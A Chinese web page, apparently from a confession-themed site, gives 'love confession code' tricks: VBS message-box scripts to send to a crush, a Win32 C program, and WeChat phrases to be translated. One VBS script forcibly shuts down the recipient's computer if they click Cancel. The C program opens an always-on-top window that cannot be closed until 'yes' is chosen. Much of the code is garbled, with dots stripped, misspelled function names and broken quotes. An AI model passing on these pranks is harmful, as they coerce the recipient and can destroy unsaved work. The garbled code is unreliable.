以前大家总说工科生不懂浪漫,但最近DJ抖音网很流行用代码来表白,将代码编写好,然后将文档发给要表白的对象,然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂,一般人按照步骤来都可以做到,下面就来看看具体的步骤:
1、KS97新建一个文本 输入代码
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白示例vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音表白代码怎么写
方法一
msgbox("做我女朋友好吗")
msgbox("房产证写你名字")
msgbox("保大")
msgbox("我妈会游泳")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wscriptshell")
wsrun"cmdexe /cshutdown-s -f -t 0"
end if
使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
方法二
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗”)
hsgbox("房产证上写称名”)
asgbox("保大”)
hsgbox("我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成vbs,效果如下图,打开文本即可跳出对话框界面
html文件笔记本什么的都可以修改,可以直接以浏览器运行,但是一个网站和一个网页差别很大的,一般网上有模版,懂点html都可以修改,这个不难,做个网页用一模板修改就行,可以自己上网找然后修改。一般有这个代码就可以了。
#define IdYes 1002
#define IdNo 1003
#define IdStatic 1004
#define IdTimer 1005
#define Width 640
#define Height 480
#define Tick 2000
#include<windowsh>
int x,y;
RECT rdesk;
HINSTANCE hinst;
HWND hyes,hno;
BOOL quit=FALSE;
LRESULT CALLBACK WndProc(HWND hwnd,UINT Message,WPARAM wParam,LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
RECT rclient;
HBRUSH hbrbkgnd;
static COLORREF c;
static BYTE r,g,b;
switch(Message)
{
case WM_TIMER:
if(IdTimer==LOWORD(wParam))
{
r=(BYTE)(rand()%256);
g=(BYTE)(rand()%256);
b=(BYTE)(rand()%256);
c=RGB(r,g,b);
InvalidateRect(hwnd,NULL,TRUE);
UpdateWindow(hwnd);
}
break;
case WM_PAINT:
hdc=BeginPaint(hwnd,&ps);
hbrbkgnd=CreateSolidBrush(c);
SelectObject(hdc,hbrbkgnd);
GetClientRect(hwnd,&rclient);
FillRect(hdc,&rclient,hbrbkgnd);
DeleteObject(hbrbkgnd);
EndPaint(hwnd,&ps);
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IdYes:
quit=TRUE;
MessageBox(hwnd,TEXT("回答正确,太太太好了!"),TEXT("宝贝"),MB_ICONEXCLAMATION|MB_OK);
SendMessage(hwnd,WM_CLOSE,0,0);
break;
case IdNo:
MessageBox(hwnd,TEXT("回答错误哦,我很生气呢!"),TEXT("宝贝"),MB_ICONEXCLAMATION|MB_OK);
break;
}
break;
case WM_SIZE:
case WM_MOVE:
SetWindowPos(hwnd,HWND_TOPMOST,x,y,Width,Height,SWP_SHOWWINDOW);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_CLOSE:
if(quit)
{
KillTimer(hwnd,IdTimer);
DestroyWindow(hwnd);
}
break;
case WM_CREATE:
CreateWindow(TEXT("Static"),
TEXT("请回答:做我女朋友好吗?"),
WS_CHILD|WS_VISIBLE|SS_CENTER,
200,
200,
240,
20,
hwnd,
(HMENU)IdStatic,
hinst,
NULL
);
hyes=CreateWindow(TEXT("Button"),
TEXT("好"),
WS_CHILD|WS_VISIBLE|BS_CENTER,
270,
230,
45,
20,
hwnd,
(HMENU)IdYes,
hinst,
NULL
);
hno=CreateWindow(TEXT("Button"),
TEXT("不好"),
WS_CHILD|WS_VISIBLE|BS_CENTER,
325,
230,
45,
20,
hwnd,
(HMENU)IdNo,
hinst,
NULL
);
SetTimer(hwnd,IdTimer,Tick,NULL);
break;
default:
return DefWindowProc(hwnd,Message,wParam,lParam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
WNDCLASSEX wc;
HWND hwnd;
MSG msg;
hinst=hInstance;
srand(time(NULL));
memset(&wc,0,sizeof(wc));
wccbSize=sizeof(WNDCLASSEX);
wclpfnWndProc=WndProc;
wchInstance=hInstance;
wchCursor=LoadCursor(NULL,IDC_ARROW);
wchbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wclpszClassName=TEXT("WindowClass");
wchIcon=LoadIcon(NULL,IDI_APPLICATION);
wchIconSm=LoadIcon(NULL,IDI_APPLICATION);
if(!RegisterClassEx(&wc))
{
MessageBox(NULL,TEXT("窗口注册失败!"),TEXT("错误"),MB_ICONEXCLAMATION|MB_OK);
return 0;
}
GetWindowRect(GetDesktopWindow(),&rdesk);
x=(rdeskright-Width)/2;
y=(rdeskbottom-Height)/2,
hwnd = CreateWindowEx(WS_EX_TOPMOST,
TEXT("WindowClass"),
TEXT("I Love You"),
WS_THICKFRAME|WS_VISIBLE,
x,
y,
Width,
Height,
NULL,NULL,hInstance,NULL);
if(NULL==hwnd)
{
MessageBox(NULL,TEXT("窗口创建失败!"),TEXT("错误!"),MB_ICONEXCLAMATION|MB_OK);
return 0;
}
while(GetMessage(&msg,NULL,0,0)>0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msgwParam;
}
截图
微信表白代码有以下5个:
1、ohh:留在我身边
2、Mi manchi:我想你
3、manchi :想念你
4、lch will mit dir sein:我想和你一起
5、ich liebe dich:我爱你
以使用”我想和你一起“的代码”lch will mit dir sein“为例,具体操作使用步骤如下:
一、首先选择手机桌面上的微信客户端进入微信,如下图所示:
二、然后选择一个需要使用表白代码的对象点击开启聊天框,如下图所示:
三、然后输入表白代码”lch will mit dir sein“后点击发送按钮,如下图所示:
四、然后在所发送的代码内容出按2秒后出现下拉菜单,选择红色箭头所指的”翻译“功能,如下图所示:
五、这时系统就会自动将代码的含义翻译出来,如下图所示:
欢迎分享,转载请注明来源:表白网
评论列表(0条)